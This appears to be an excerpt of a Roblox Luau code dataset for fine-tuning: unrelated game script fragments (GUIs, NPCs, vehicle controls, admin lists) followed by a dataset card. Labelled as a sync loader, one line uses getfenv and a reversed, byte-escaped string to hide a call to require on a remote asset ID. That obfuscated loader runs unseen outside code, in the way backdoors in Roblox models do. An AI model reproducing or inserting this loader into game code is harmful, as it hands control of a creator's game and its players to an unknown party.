ScrollingFrame = NewGui('ScrollingFrame', 'ScrollingFrame') ScrollingFrame.Selectable = false ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, 0) ScrollingFrame.Parent = InventoryFrame UIGridFrame = NewGui('Frame', 'UIGridFrame') UIGridFrame.Selectable = false UIGridFrame.Size = UDim2.new(1, -(ICON_BUFFER*2), 1, 0) UIGridFrame.Position = UDim2.new(0, ICON_BUFFER, 0, 0) UIGridFrame.Parent = ScrollingFrame UIGridLayout = Instance.new("UIGridLayout") UIGridLayout.SortOrder = Enum.SortOrder.LayoutOrder UIGridLayout.CellSize = UDim2.new(0, ICON_SIZE, 0, ICON_SIZE) UIGridLayout.CellPadding = UDim2.new(0, ICON_BUFFER, 0, ICON_BUFFER) UIGridLayout.Parent = UIGridFrame ScrollUpInventoryButton = MakeVRRoundButton('ScrollUpButton', 'rbxasset://textures/ui/Backpack/ScrollUpArrow.png') ScrollUpInventoryButton.Size = UDim2.new(0, 34, 0, 34) ScrollUpInventoryButton.Position = UDim2.new(0.5, -ScrollUpInventoryButton.Size.X.Offset/2, 0, INVENTORY_HEADER_SIZE + 3) ScrollUpInventoryButton.Icon.Position = ScrollUpInventoryButton.Icon.Position - UDim2.new(0,0,0,2) ScrollUpInventoryButton.MouseButton1Click:Connect(function() ScrollingFrame.CanvasPosition = Vector2.new( ScrollingFrame.CanvasPosition.X, Clamp(0, ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y, ScrollingFrame.CanvasPosition.Y - (ICON_BUFFER + ICON_SIZE))) end) ScrollDownInventoryButton = MakeVRRoundButton('ScrollDownButton', 'rbxasset://textures/ui/Backpack/ScrollUpArrow.png') ScrollDownInventoryButton.Rotation = 180 ScrollDownInventoryButton.Icon.Position = ScrollDownInventoryButton.Icon.Position - UDim2.new(0,0,0,2) ScrollDownInventoryButton.Size = UDim2.new(0, 34, 0, 34) ScrollDownInventoryButton.Position = UDim2.new(0.5, -ScrollDownInventoryButton.Size.X.Offset/2, 1, -ScrollDownInventoryButton.Size.Y.Offset - 3) ScrollDownInventoryButton.MouseButton1Click:Connect(function() ScrollingFrame.CanvasPosition = Vector2.new( ScrollingFrame.CanvasPosition.X, Clamp(0, ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y, ScrollingFrame.CanvasPosition.Y + (ICON_BUFFER + ICON_SIZE))) end) ScrollingFrame.Changed:Connect(function(prop) if prop == 'AbsoluteWindowSize' or prop == 'CanvasPosition' or prop == 'CanvasSize' then local canScrollUp = ScrollingFrame.CanvasPosition.Y ~= 0 local canScrollDown = ScrollingFrame.CanvasPosition.Y < ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteWindowSize.Y ScrollUpInventoryButton.Visible = canScrollUp ScrollDownInventoryButton.Visible = canScrollDown end end)
--bp.Position = shelly.PrimaryPart.Position
if not shellyGood then bp.Parent,bg.Parent= nil,nil return end bp.Parent = nil wait(math.random(3,8)) end local soundBank = game.ServerStorage.Sounds.NPC.Shelly:GetChildren() shelly.Health.Changed:connect(function() if shellyGood then bp.Parent,bg.Parent= nil,nil shelly.PrimaryPart.Transparency =1 shelly.PrimaryPart.CanCollide = false shelly.Shell.Transparency = 1 shelly.HitShell.Transparency = 0 shelly.HitShell.CanCollide = true shellyGood = false ostrich = tick() shelly:SetPrimaryPartCFrame(shelly.PrimaryPart.CFrame*CFrame.new(0,2,0)) local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.PlayOnRemove = true hitSound.Parent = shelly.PrimaryPart wait() hitSound:Destroy() repeat task.wait() until tick()-ostrich > 10 shelly.PrimaryPart.Transparency = 0 shelly.PrimaryPart.CanCollide = true shelly.Shell.Transparency = 0 shelly.HitShell.Transparency = 1 shelly.HitShell.CanCollide = false bp.Parent,bg.Parent = shelly.PrimaryPart,shelly.PrimaryPart shellyGood = true end end) while true do if shellyGood then MoveShelly() else task.wait(1) end end
---Creator function return object keys
local KEY_BASE_FRAME = "BaseFrame" local KEY_BASE_MESSAGE = "BaseMessage" local KEY_UPDATE_TEXT_FUNC = "UpdateTextFunction" local KEY_GET_HEIGHT = "GetHeightFunction" local KEY_FADE_IN = "FadeInFunction" local KEY_FADE_OUT = "FadeOutFunction" local KEY_UPDATE_ANIMATION = "UpdateAnimFunction" local TextService = game:GetService("TextService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer while not LocalPlayer do Players.ChildAdded:wait() LocalPlayer = Players.LocalPlayer end local clientChatModules = script.Parent.Parent local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings")) local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants")) local module = {} local methods = {} methods.__index = methods function methods:GetStringTextBounds(text, font, textSize, sizeBounds) sizeBounds = sizeBounds or Vector2.new(10000, 10000) return TextService:GetTextSize(text, textSize, font, sizeBounds) end
-- Left Leg
character:FindFirstChild("UpperTorso").LocalTransparencyModifier = 0 character:FindFirstChild("LowerTorso").LocalTransparencyModifier = 0
--[[ Returns a snapshot of this component given the current props and state. Must be overridden by consumers of Roact and should be a pure function with regards to props and state. TODO (#199): Accept props and state as arguments. ]]
function Component:render() local internalData = self[InternalData] local message = componentMissingRenderMessage:format( tostring(internalData.componentClass) ) error(message, 0) end
-- Sounds
local footstepsSound = rootPart:WaitForChild("Footsteps")
-- ==================== -- MISCELLANEOUS -- Etc. settings for the gun -- ====================
DualWeldEnabled = false; --Enable the user to hold two guns instead one. In order to make this setting work, you must clone its PrimaryHandle and name it like SecondaryHandle. NOTE: Enabling "CustomGripEnabled" won't make this setting working AltFire = false; --Enable the user to alt fire. NOTE: Must have aleast two setting modules MagCartridge = false; --Display magazine cartridge interface (cosmetic only) MaxCount = 200; RemoveOldAtMax = false; MaxRotationSpeed = 360; Drag = 1; Gravity = Vector2.new(0, 1000); Ejection = true; Shockwave = true; Velocity = 50; XMin = -4; XMax = -2; YMin = -6; YMax = -5; DropAllRemainingBullets = false; DropVelocity = 10; DropXMin = -5; DropXMax = 5; DropYMin = -0.1; DropYMax = 0;
--Basic stuff for the GUI interface
vSpeed = math.sqrt((vParts.Seat.Velocity.x)^2+(vParts.Seat.Velocity.y)^2+(vParts.Seat.Velocity.z)^2) PS.Coords.Text =" Coords: " .."("..math.ceil(vParts.Seat.Position.x)..","..math.ceil(vParts.Seat.Position.z)..")" PS.Alt.Text =" Altitude: ".. math.ceil(vParts.Seat.Position.y).." ft" PS.Speed.Text = " Speed: ".. math.floor(vSpeed).." Kt" PS.VertSpeed.Text =" VertSpeed: ".. math.ceil(vParts.Seat.Velocity.y).." ft/sec" PS.PN.Text = Plane_Name
--[END]] --[[ Last synced 10/14/2020 09:23 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[=[ @param fn (player: Player, ...: any) -> nil -- The function to connect @return Connection Connect a function to the signal. Anytime a matching ClientRemoteSignal on a client fires, the connected function will be invoked with the arguments passed by the client. ]=]
function RemoteSignal:Connect(fn) if self._directConnect then return self._re.OnServerEvent:Connect(fn) else return self._signal:Connect(fn) end end function RemoteSignal:_processOutboundMiddleware(player: Player?, ...: any) if not self._hasOutbound then return ... end local args = table.pack(...) for _,middlewareFunc in ipairs(self._outbound) do local middlewareResult = table.pack(middlewareFunc(player, args)) if not middlewareResult[1] then return table.unpack(middlewareResult, 2, middlewareResult.n) end end return table.unpack(args, 1, args.n) end
--["Walk"] = "rbxassetid://1136173829",
["Walk"] = "http://www.roblox.com/asset/?id=507767714", ["Idle"] = "http://www.roblox.com/asset/?id=507766666", ["SwingTool"] = "rbxassetid://1262318281" } local anims = {} for animName,animId in next,preAnims do local anim = Instance.new("Animation") anim.AnimationId = animId game:GetService("ContentProvider"):PreloadAsync({anim}) anims[animName] = animController:LoadAnimation(anim) end local fallConstant = -2 run.Heartbeat:connect(function() local part,pos,norm,mat = workspace:FindPartOnRay(Ray.new(root.Position,Vector3.new(0,-2.8,0)),char) if target.Value then local facingCFrame = CFrame.new(Vector3.new(root.CFrame.X,pos.Y+3,root.CFrame.Z),CFrame.new(target.Value.CFrame.X,pos.Y+3,target.Value.CFrame.Z).p) bg.CFrame = facingCFrame else --bg.CFrame = CFrame.new(root.CFrame.X,pos.Y+3,root.CFrame.Z) end if target.Value then bv.P = 100000 bv.Velocity = root.CFrame.lookVector*10 if not part then bv.Velocity = bv.Velocity+Vector3.new(0,fallConstant,0) fallConstant = fallConstant-1 else fallConstant = -2 end if not anims["Walk"].IsPlaying then anims["Walk"]:Play() end else bv.P = 0 bv.Velocity = Vector3.new(0,0,0) anims["Walk"]:Stop() anims["Idle"]:Play() end end) while true do local thresh,nearest = 60,nil for _,player in next,game.Players:GetPlayers() do if player.Character and player.Character.PrimaryPart then local dist = (player.Character.PrimaryPart.Position-root.Position).magnitude if dist < thresh then thresh = dist nearest = player.Character.PrimaryPart end end end if nearest then if thresh < 5 then anims["SwingTool"]:Play() nearest.Parent.Humanoid:TakeDamage(8) target.Value = nil wait(1) end target.Value = nearest else target.Value = nil end wait(1) end
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local scr = client.UI.Prepare(script.Parent.Parent) local window = scr.Window local msg = data.Message local color = data.Color local found = client.UI.Get("Output") if found then for i,v in pairs(found) do local p = v.Object if p and p.Parent then p.Window.Position = UDim2.new(0.5, 0, 0.5, p.Window.Position.Y.Offset+160) end end end window.Main.ScrollingFrame.ErrorText.Text = msg window.Main.ScrollingFrame.ErrorText.TextColor3 = color window.Close.MouseButton1Down:Connect(function() gTable.Destroy() end) spawn(function() local sound = Instance.new("Sound",service.LocalContainer()) sound.SoundId = "rbxassetid://160715357" sound.Volume = 2 sound:Play() wait(0.8) sound:Destroy() end) gTable.Ready() wait(5) gTable.Destroy() end
--[[Shutdown]]
bike.DriveSeat.ChildRemoved:connect(function(child) --[[if child.Name=="SeatWeld" and child:IsA("Weld") then script.Parent:Destroy() end]] bike.Body.bal.LeanGyro.D = 0 bike.Body.bal.LeanGyro.MaxTorque = Vector3.new(0,0,0) bike.Body.bal.LeanGyro.P = 0 bike.RearSection.Axle.HingeConstraint.MotorMaxTorque = 0 end)
-------------------------------------------------------------- -- You DO NOT need to add yourself to any of these lists!!! -- --------------------------------------------------------------
local Owners={} -- Can set SuperAdmins, & use all the commands local SuperAdmins={} -- Can set permanent admins, & shutdown the game local Admins={} -- Can ban, crash, & set Moderators/VIP local Mods={} -- Can kick, mute, & use most commands local VIP={} -- Can use nonabusive commands only on self
--these are for button checks. It's kinda ugly so if you have a better way pm me
ha=false hd=false hs=false hw=false imgassets ={ hazardoff="http://www.roblox.com/asset/?id=216957891", hazardon = "http://www.roblox.com/asset/?id=216957887", leftyoff = "http://www.roblox.com/asset/?id=216957962", leftyon = "http://www.roblox.com/asset/?id=216957949", rightyoff = "http://www.roblox.com/asset/?id=216957912", rightyon = "http://www.roblox.com/asset/?id=216957903", outoff="http://www.roblox.com/asset/?id=216957880", outon = "http://www.roblox.com/asset/?id=216957874", sirensoff = "http://www.roblox.com/asset/?id=216958870", sirenson = "http://www.roblox.com/asset/?id=216958870", wailoff = "http://www.roblox.com/asset/?id=216930335", wailon = "http://www.roblox.com/asset/?id=216930318", x4off = "http://www.roblox.com/asset/?id=216954211", x4on = "http://www.roblox.com/asset/?id=216954202", x2off = "http://www.roblox.com/asset/?id=216958009", x2on = "http://www.roblox.com/asset/?id=216958007", fastoff = "http://www.roblox.com/asset/?id=216957982", faston = "http://www.roblox.com/asset/?id=216957977", slowoff = "http://www.roblox.com/asset/?id=216957998", slowon = "http://www.roblox.com/asset/?id=216957989", lightsoff = "http://www.roblox.com/asset/?id=115931775", lightson = "http://www.roblox.com/asset/?id=115931779", lockoff = "http://www.roblox.com/asset/?id=116532096", lockon = "http://www.roblox.com/asset/?id=116532114", leftturn = "http://www.roblox.com/asset/?id=115931542", rightturn = "http://www.roblox.com/asset/?id=115931529", fltd = "http://www.roblox.com/asset/?id=116531501", yelpon = "http://www.roblox.com/asset/?id=216930350", yelpoff = "http://www.roblox.com/asset/?id=216930359", phaseron = "http://www.roblox.com/asset/?id=216930382", phaseroff = "http://www.roblox.com/asset/?id=216930390", hiloon = "http://www.roblox.com/asset/?id=216930459", hilooff = "http://www.roblox.com/asset/?id=216930471", hornon = "http://www.roblox.com/asset/?id=216930428", hornoff = "http://www.roblox.com/asset/?id=216930438", wailrumbleron = "http://www.roblox.com/asset/?id=216930512", wailrumbleroff = "http://www.roblox.com/asset/?id=216930520", yelprumbleron = "http://www.roblox.com/asset/?id=216930566", yelprumbleroff = "http://www.roblox.com/asset/?id=216930573", phaserrumbleron = "http://www.roblox.com/asset/?id=216930585", phaserrumbleroff = "http://www.roblox.com/asset/?id=216930595", hyperhiloon = "http://www.roblox.com/asset/?id=216963140", hyperhilooff = "http://www.roblox.com/asset/?id=216963128", } for _,i in pairs (imgassets) do Game:GetService("ContentProvider"):Preload(i) end if gear == 1 then script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3) script.Parent.dn.Style = "RobloxRoundButton" end if gear == maxgear then script.Parent.up.TextColor3 = Color3.new(.3,.3,.3) script.Parent.up.Style = "RobloxRoundButton" end function gearup()--activated by GUI or pressing E if lock then return end if gear < maxgear then gear = gear+1 watdo() script.Parent.Gear.Text = (gear.."/"..maxgear) end if gear == maxgear then script.Parent.up.TextColor3 = Color3.new(.3,.3,.3) script.Parent.up.Style = "RobloxRoundButton" script.Parent.dn.TextColor3 = Color3.new(1,1,1) script.Parent.dn.Style = "RobloxRoundButton" elseif gear == 1 then script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3) script.Parent.dn.Style = "RobloxRoundButton" script.Parent.up.TextColor3 = Color3.new(1,1,1) script.Parent.up.Style = "RobloxRoundButton" else script.Parent.dn.TextColor3 = Color3.new(1,1,1) script.Parent.dn.Style = "RobloxRoundButton" script.Parent.up.TextColor3 = Color3.new(1,1,1) script.Parent.up.Style = "RobloxRoundButton" end end function geardown()--activated by GUI or pressing Q if lock then return end if gear > 1 then gear = gear-1 watdo() script.Parent.Gear.Text = (gear.."/"..maxgear) end if gear == 1 then script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3) script.Parent.dn.Style = "RobloxRoundButton" script.Parent.up.TextColor3 = Color3.new(1,1,1) script.Parent.up.Style = "RobloxRoundButton" elseif gear == maxgear then script.Parent.up.TextColor3 = Color3.new(.3,.3,.3) script.Parent.up.Style = "RobloxRoundButton" script.Parent.dn.TextColor3 = Color3.new(1,1,1) script.Parent.dn.Style = "RobloxRoundButton" else script.Parent.dn.TextColor3 = Color3.new(1,1,1) script.Parent.dn.Style = "RobloxRoundButton" script.Parent.up.TextColor3 = Color3.new(1,1,1) script.Parent.up.Style = "RobloxRoundButton" end end script.Parent.up.MouseButton1Click:connect(gearup) script.Parent.dn.MouseButton1Click:connect(geardown) script.Parent.up.MouseButton1Click:connect(gearup) script.Parent.dn.MouseButton1Click:connect(geardown) script.Parent.flipbutton.MouseButton1Click:connect(function() if not flipping then flipping = true local a = Instance.new("BodyPosition",seat) a.maxForce = Vector3.new(100000,10000000,100000) a.position = seat.Position + Vector3.new(0,10,0) local b = Instance.new("BodyGyro",seat) wait(3) a:Destroy() b:Destroy() flipping = false end end) function turn() if turndebounce == false then turndebounce = true wait(0.05) repeat templeft = turningleft tempright = turningright script.Parent.onsound:Play() if turningleft == true then script.Parent.leftturn.Visible = true for _,i in pairs (leftturn) do i.BrickColor = BrickColor.new("Deep orange") end for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Really red") end for _,b in pairs (leftflash) do if lightson then b.Enabled = true end end for _,b in pairs (leftbrake) do b.Brightness = 2 end end if turningright == true then script.Parent.rightturn.Visible = true for _,i in pairs (rightturn) do i.BrickColor = BrickColor.new("Deep orange") end for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Really red") end for _,b in pairs (rightflash) do if lightson then b.Enabled = true end end for _,b in pairs (rightbrake) do b.Brightness = 2 end end wait(0.4) script.Parent.offsound:Play() script.Parent.leftturn.Visible = false script.Parent.rightturn.Visible = false if templeft == true then for _,i in pairs (leftturn) do i.BrickColor = BrickColor.new("Neon orange") end for _,b in pairs (leftflash) do b.Enabled = false end for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Bright red") end for _,b in pairs (leftbrake) do b.Brightness = 1 end else if throttle > 0 then for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Bright red") end for _,b in pairs (leftbrake) do b.Brightness = 1 end else for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Really red") end for _,b in pairs (leftbrake) do b.Brightness = 2 end end end if tempright == true then for _,i in pairs (rightturn) do i.BrickColor = BrickColor.new("Neon orange") end for _,b in pairs (rightflash) do b.Enabled = false end for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Bright red") end for _,b in pairs (rightbrake) do b.Brightness = 1 end else if throttle > 0 then for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Bright red") end for _,b in pairs (rightbrake) do b.Brightness = 1 end else for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Really red") end for _,b in pairs (rightbrake) do b.Brightness = 2 end end end wait(0.35) until turningleft == false and turningright == false turndebounce = false end end seat.ChildRemoved:connect(function(it) if it:IsA("Weld") then if it.Part1.Parent == Player.Character then lock = true ha=false hd=false hs=false hw=false throttle = 0 steer = 0 watdo() script.Parent.close.Active = true script.Parent.close.Visible = true script.Parent.xlabel.Visible = true end end end) seat.ChildAdded:connect(function(it) if it:IsA("Weld") then if it.Part1.Parent == Player.Character then lock = false script.Parent.close.Active = false script.Parent.close.Visible = false script.Parent.xlabel.Visible = false end end end) function exiting() lock = true--when we close the gui stop everything steer = 0 throttle = 0 watdo() turningleft = false turningright = false script.Parent.flasher.Value = false script.Parent.siren.Value = false lightson = false Instance.new("IntValue",seat) for _,i in pairs (leftturn) do i.BrickColor = BrickColor.new("Neon orange") end for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Really red") end for _,b in pairs (leftflash) do b.Enabled = false end for _,b in pairs (leftbrake) do b.Brightness = 2 end for _,i in pairs (rightturn) do i.BrickColor = BrickColor.new("Neon orange") end for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Really red") end for _,b in pairs (rightflash) do b.Enabled = false end for _,b in pairs (rightbrake) do b.Brightness = 2 end script.Parent.Parent:Destroy()--destroy the 'Car' ScreenGui end function updatelights() for _,i in pairs (leftbrake) do i.Enabled = lightson end for _,i in pairs (rightbrake) do i.Enabled = lightson end for _,i in pairs (brakelight) do i.Enabled = lightson end for _,i in pairs (headlight) do i.Enabled = lightson end if lightson then script.Parent.lightimage.Image = imgassets.lightson else script.Parent.lightimage.Image = imgassets.lightsoff end end script.Parent.lights.MouseButton1Click:connect(function() if lock then return end lightson = not lightson updatelights() end) function destroycar() seat.Parent:Destroy()--destroy the car end script.Parent.close.MouseButton1Up:connect(exiting) Player.Character.Humanoid.Died:connect(destroycar) game.Players.PlayerRemoving:connect(function(Playeras) if Playeras.Name == Player.Name then destroycar() end end) for _, i in pairs (seat.Parent:GetChildren()) do--populate the tables for ease of modularity. You could have 100 left wheels if you wanted. if i.Name == "LeftWheel" then table.insert(left,i) elseif i.Name == "RightWheel" then table.insert(right,i) elseif i.Name == "Rearlight" then table.insert(rearlight,i) elseif i.Name == "Brakelight" then table.insert(brakelight,i.SpotLight) elseif i.Name == "rightturn" then table.insert(rightturn,i) elseif i.Name == "leftturn" then table.insert(leftturn,i) elseif i.Name == "leftflash" then table.insert(leftflash,i.SpotLight) elseif i.Name == "rightflash" then table.insert(rightflash,i.SpotLight) elseif i.Name == "leftlight" then table.insert(leftlight,i) elseif i.Name == "rightlight" then table.insert(rightlight,i) elseif i.Name == "Headlight" then table.insert(headlight,i.SpotLight) elseif i.Name == "leftbrake" then table.insert(leftbrake,i.SpotLight) elseif i.Name == "rightbrake" then table.insert(rightbrake,i.SpotLight) elseif i.Name == "revlight" then table.insert(revlight,i.SpotLight) end end for _,l in pairs (left) do l.BottomParamA = 0 l.BottomParamB = 0 end for _,r in pairs (right) do r.BottomParamA = 0 r.BottomParamB = 0 end function watdo() seat.Parent.LeftMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5) seat.Parent.RightMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5) for _,l in pairs (left) do--I do it this way so that it's not searching the model every time an input happens if throttle ~= -1 then l.BottomParamA = (.1/gear) l.BottomParamB = (.5*gear+steer*gear/30)*throttle else l.BottomParamA = -.01 l.BottomParamB = -.5-steer/20 end end for _,r in pairs (right) do if throttle ~= -1 then r.BottomParamA = -(.1/gear) r.BottomParamB = -(.5*gear-steer*gear/30)*throttle else r.BottomParamA = .01 r.BottomParamB = .5-steer/20 end end if throttle < 1 then for _,g in pairs (rearlight) do g.BrickColor = BrickColor.new("Really red") end for _,b in pairs (brakelight) do b.Brightness = 2 end if turningleft == false then for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Really red") end for _,b in pairs (leftbrake) do b.Brightness = 2 end end if turningright == false then for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Really red") end for _,b in pairs (rightbrake) do b.Brightness = 2 end end else for _,g in pairs (rearlight) do g.BrickColor = BrickColor.new("Bright red") end for _,b in pairs (brakelight) do b.Brightness = 1 end if turningleft == false then for _,a in pairs (leftlight) do a.BrickColor = BrickColor.new("Bright red") end for _,b in pairs (leftbrake) do b.Brightness = 1 end end if turningright == false then for _,a in pairs (rightlight) do a.BrickColor = BrickColor.new("Bright red") end for _,b in pairs (rightbrake) do b.Brightness = 1 end end end if throttle < 0 then for _,b in pairs (revlight) do if lightson then b.Enabled = true end end else for _,b in pairs (revlight) do b.Enabled = false end end end Player:GetMouse().KeyDown:connect(function(key)--warning ugly button code if lock then return end key = string.upper(key) if not ha and key == "A" or key == string.char(20) and not ha then ha = true steer = steer-1 end if not hd and key == "D" or key == string.char(19) and not hd then hd = true steer = steer+1 end if not hw and key == "W" or key == string.char(17) and not hw then hw = true throttle = throttle+1 end if not hs and key == "S" or key == string.char(18) and not hs then hs = true throttle = throttle-1 end if key == "Z" then geardown() end if key == "X" then gearup() end if key == "Q" then turningleft = not turningleft turn() end if key == "E" then turningright = not turningright turn() end watdo() end) Player:GetMouse().KeyUp:connect(function(key) if lock then return end key = string.upper(key) if ha and key == "A" or key == string.char(20)and ha then steer = steer+1 ha = false end if hd and key == "D" or key == string.char(19) and hd then steer = steer-1 hd = false end if hw and key == "W" or key == string.char(17) and hw then throttle = throttle-1 hw = false end if hs and key == "S" or key == string.char(18) and hs then throttle = throttle+1 hs = false end if key == "" then --more keys if I need them end watdo() end)
--[[Misc]]
Tune.LoadDelay = .1 -- Delay before initializing chassis (in seconds) Tune.AutoStart = true -- Set to false if using manual ignition plugin Tune.AutoFlip = true -- Set to false if using manual flip plugin

Dataset card

The Luau dataset is a collection of code fragments collected from the Roblox Luau Data Sharing program.

Only experiences where creators gave us permission to contribute to the public Luau Dataset were used for producing this dataset.

Languages:

Lua, Luau

License:

MIT

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Format:

The dataset format is in jsonl format, with prompt / completion fields.

Dataset usage:

This dataset is designed for fine tuning large language models.

Risks:

The dataset has been filtered for various quality signals, though Roblox makes no guarantees of data quality.

Evaluation:

We have found that typically fine tuning a generalist code LLM improve it’s performance on Roblox Lua code quality by 10 to 20%.

Downloads last month
55
Edit dataset card